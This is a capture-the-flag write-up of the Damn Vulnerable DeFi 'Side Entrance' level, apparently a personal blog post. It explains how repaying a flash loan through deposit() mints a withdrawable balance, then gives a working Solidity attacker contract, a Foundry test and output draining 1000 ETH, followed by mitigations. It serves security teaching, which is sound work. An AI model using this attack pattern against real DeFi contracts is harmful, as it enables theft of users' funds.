The One With a Side Entrance
A subtle accounting bug where deposits and repayments blur — letting attackers slip in through a “side entrance”.

What`s up! 🌐
Hello dear reader — and welcome to Side Episode of my journey through Damn Vulnerable DeFi.
I’m Pavel, aka kode-n-rolla, your guide through the world of Web3 security and smart-contract hacking.
This series documents not just the solutions, but the mindset, methodology, and audit-style thinking behind each challenge.
Here’s the full list of episodes so far — and with that, let’s dive straight into the audit.
The One With an Unstoppable Vault
The One Where Doing Nothing Costs Money
The One with Temporary Authority
✨ Code review
Before jumping into the code, let’s anchor ourselves in what this protocol is trying to do.SideEntranceLenderPool is a simple ETH pool that allows users to freely deposit and withdraw funds, and on top of that, it offers zero-fee flash loans powered by the same liquidity. The pool already holds 1000 ETH, and our goal is straightforward: extract all of it into the designated recovery account.
Now that the protocol’s intent is clear, let’s define the scope of the audit.
Scoping
For this audit, the scope is intentionally narrow and focused on a single contract:SideEntranceLenderPool.
This contract exposes three core user-facing functions:
deposit()— allows users to add ETH to the internal balance mapping.withdraw()— lets users withdraw their recorded balance back to their wallet.flashLoan(uint256 amount)— grants a zero-fee flash loan, calling the borrower’sexecute()hook and expecting the ETH to return within the same transaction.
There are no modifiers, no access control, and no fee mechanism.
All accounting relies solely on a balances[address] mapping, with the pool implicitly trusting that deposits and flash-loan repayments behave as isolated flows.
Because the same source of liquidity is used for both deposits and flash loans, our scoping focus centers around:
accounting invariants,
state transitions in deposit/withdraw cycles,
assumptions made inside
flashLoan(),and whether an attacker can influence the pool’s internal bookkeeping.
This sets the stage for the analysis.
Code Analysis — Analysis & Hypothesis
With the scope narrowed down to SideEntranceLenderPool, I like to start the analysis by writing down what the contract believes is always true.
At a high level, the intended invariant for flashLoan() looks like this:
The pool can lend out some ETH.
The borrower’s
execute()function is called with that ETH.By the end of the call, the pool’s balance must be at least what it was before the loan.
In code, that intention is captured here:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// @ check accept funds without fees
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}
On its own, this check looks reasonable:
“If the pool has at least as much ETH as before the loan, the loan is repaid.”
But there is a second axis of state: the internal accounting through balances:
mapping(address => uint256) public balances;
...
function deposit() external payable {
// @ possible overflow -> no priority for now
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
// @ checks
uint256 amount = balances[msg.sender];
// @ effects
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
// @ iteractions
SafeTransferLib.safeTransferETH(msg.sender, amount); // @ safe transfer
}
Here, deposit() blindly increments balances[msg.sender], and withdraw() trusts that mapping as the source of truth for how much ETH a user can pull out.
Crucially, there’s no separation between:
“ETH that was lent out and later repaid”
and“ETH that was genuinely deposited by a user and should count as their balance”.
They both just show up as ETH held by the contract.
Visualizing the attack path
A good practice for me — and something I use in almost every audit — is to visualize the attack as a flow, not just read the code line by line.
So I asked myself:
If I borrow all the ETH from the pool,
can I somehow return it in a way that:
- satisfies the flashLoan check, AND
- creates an internal balance in my favor?
After a some time of thinking through different sequences and mentally simulating calls, one idea started to stand out:
Borrow the entire pool balance via
flashLoan(amount).Inside
execute(), instead of doing something fancy, simply calldeposit{value: msg.value}().This returns all ETH back to the pool, so
address(this).balanceis restored tobalanceBefore.At the same time,
deposit()credits my address in thebalancesmapping with the full amount.The flash loan completes successfully — no revert.
Later, I call
withdraw()and drain the pool using my newly created “legit” internal balance.
Hypothesis in one sentence
The core hypothesis that emerged from this analysis was:
If flash-loan repayment can be routed through
deposit(), then I can repay the loan and mint myself a full internal balance at the same time, effectively draining the pool with a single side-entrance attack.
Testing — Turning the hypothesis into a concrete exploit
To validate the hypothesis, I wrote a minimal attacking contract and a Foundry test.
The attacker contract lives in the same directory as the target pool (SideEntranceLenderPool.sol), and the test function goes into the corresponding test file for this challenge.
src/side-entrance/SideEntranceAttacker.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {SideEntranceLenderPool} from "./SideEntranceLenderPool.sol";
contract SideEntranceAttacker {
SideEntranceLenderPool public pool;
address public recovery;
address public owner;
/// @notice Store a reference to the pool and the designated recovery account
constructor(SideEntranceLenderPool _pool, address _recovery) {
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
/// @notice Entry point for the exploit
/// @dev Borrow the entire pool balance in a single flash loan
function attack() external onlyOwner {
uint256 amount = address(pool).balance;
pool.flashLoan(amount);
}
/*
@notice Callback invoked by the pool during flashLoan
@dev We immediately re-deposit the borrowed ETH back into the pool
This:
- restores the pool’s ETH balance (flashLoan check passes)
- credits this contract in `balances[address(this)]`
*/
function execute() external payable {
pool.deposit{value: msg.value}();
}
/// @notice Withdraw the “deposit” that was created during the flash loan
/// @dev This drains the pool’s entire balance to this contract
function withdraw() external onlyOwner {
pool.withdraw();
}
/// @notice Forward all received ETH to the recovery address
/// @dev Called when the pool sends ETH to this contract during withdraw()
receive() external payable {
(bool ok,) = payable(recovery).call{value: address(this).balance}("");
require(ok, "transfer failed");
}
}
The exploit logic is entirely encoded in three calls:
attack()— take a flash loan for the full pool balance.execute()— repay viadeposit(), minting an internal balance.withdraw()— convert that internal balance back into real ETH and forward it to the recovery account.
test/side-entrance/SideEntrance.t.sol
In the test file for this level, I used the existing setup from Damn Vulnerable DeFi (which already deploys the pool and defines a recovery account).
The attacker contract is deployed inside the test, and then we execute the exploit:
function test_sideEntrance() public checkSolvedByPlayer {
// 1. Deploy the attacker contract with references to:
// - the vulnerable pool
// - the designated recovery address
SideEntranceAttacker attacker = new SideEntranceAttacker(pool, recovery);
// 2. Trigger the exploit:
// - attacker borrows the entire pool balance via flashLoan()
// - inside execute(), the borrowed ETH is re-deposited
attacker.attack();
// 3. Withdraw the “credited” balance from the pool
// This transfers all ETH from the pool to the attacker contract,
// and the receive() function forwards it to the recovery account.
attacker.withdraw();
// Log result
console.log("Target contract balance: ", address(pool).balance);
console.log("Recovery account balance:", recovery.balance);
}
Run test
From the project root run:
forge test --mp test/side-entrance/SideEntrance.t.sol --mt test_sideEntrance -vv
—mpfor specific file
—mtfor certain test function
-vvfor verbosity (to seeconsole.logoutput)
Expected important part of output like this:
Ran 1 test for test/side-entrance/SideEntrance.t.sol:SideEntranceChallenge
[PASS] test_sideEntrance() (gas: 346870)
Logs:
Target contract balance: 0
Recovery account balance: 1000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.39ms (500.73µs CPU time)
Severity
This vulnerability is classified as High severity, because it allows an attacker to fully drain all ETH from the pool in a single transaction without providing any real liquidity. The exploit is permissionless, requires no initial capital beyond the flash-loan, and succeeds with 100% reliability.
Impact
The impact is a complete loss of user funds: the attacker can turn the borrowed flash-loan amount into an internal balance and immediately withdraw the entire pool. This breaks the protocol’s core accounting invariant, exposes all deposited ETH to theft, and renders the pool insolvent.
Recommendation mitigation
The root of the vulnerability lies in treating flash-loan repayment and user deposits as the same operation. Because both flows move ETH into the contract, the pool cannot distinguish between “repaying a loan” and “creating a new user balance”. This allows attackers to mint internal credit without contributing real liquidity.
✅ Recommended Fix
Separate accounting from ETH balance.
Repayment of a flash loan must not update the attacker’s balances[msg.sender].
The core invariant should be:
Flash-loan repayment restores the contract’s ETH balance but must not be counted as a deposit.
A clean mitigation is to disallow calling deposit() inside a flash-loan execution. This can be achieved in multiple ways:
Option A (recommended): Add a flash-loan lock that disables deposits during a loan
bool private inFlashLoan;
function flashLoan(uint256 amount) external {
inFlashLoan = true;
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
inFlashLoan = false;
if (address(this).balance < balanceBefore) revert RepayFailed();
}
function deposit() external payable {
if (inFlashLoan) revert CannotDepositDuringFlashLoan();
balances[msg.sender] += msg.value;
}
Why this works:
Repayment still returns ETH as expected.
But attackers cannot convert that repayment into a credited internal balance.
The pool’s internal accounting remains honest.
Option B: Track repayments separately
Introduce a variable like repaymentAmount, and in deposit() ignore ETH that comes from flash-loan repayment.
Why this works:
Clean separation between “loan repayment” and “user deposit”.
Harder to misinterpret ETH flows.
Option C: Add proper share-based accounting
Convert the pool to a share model (like many real DeFi protocols). Deposits mint shares; withdrawals burn shares.
Why this works:
Impossible to mint shares without contributing real assets.
Flash-loan repayment cannot create new shares.
📝 Why the fix matters
The protocol’s fundamental invariant — “deposit balances must always reflect real contributed liquidity” — is currently broken.
Without enforcing this, any zero-fee flash loan becomes a free mint, letting attackers drain all ETH with no upfront cost.
Implementing one of the mitigations above restores the invariant and ensures the pool’s solvency.
Takeaways & Reflections
This challenge is a perfect reminder that vulnerabilities don’t always come from complex math or exotic opcodes.
Sometimes, the most damaging bugs stem from simple mismatches between intention and implementation — in this case, the protocol wanted to offer zero-fee flash loans, but unintentionally let loan repayment masquerade as a user deposit.
A few lessons stand out:
State-machine thinking matters.
When a protocol mixes multiple flows of value — deposits, withdrawals, flash-loan repayment — it must clearly separate them. If two pathways lead to the same state transition, attackers will try to blur the lines.Invariants are your backbone.
Designing a protocol without writing down explicit invariants (“balance X must always equal Y”) leads to blind spots. The exploit here is simply the system behaving exactly as coded — just not as intended.Security is a continuous process, not a one-time event.
Even seemingly simple components deserve thorough review, stress-testing, and adversarial thinking. Flash loans in particular amplify flaws: anything exploitable becomes instantly and maximally exploitable.Visualizing the attack path is powerful.
Walking through the protocol step by step — “What happens if I borrow everything? What if I repay differently? When do state variables update?” — often reveals subtle opportunities a line-by-line audit might miss.
As always, thank you for taking the time to read this analysis.
I hope it brought you value, whether you’re sharpening your Web3 security skills or simply exploring how these systems can break in surprising ways.
See you in the next episode — and until then, stay curious, stay sharp, and stay cyber safe. 💚



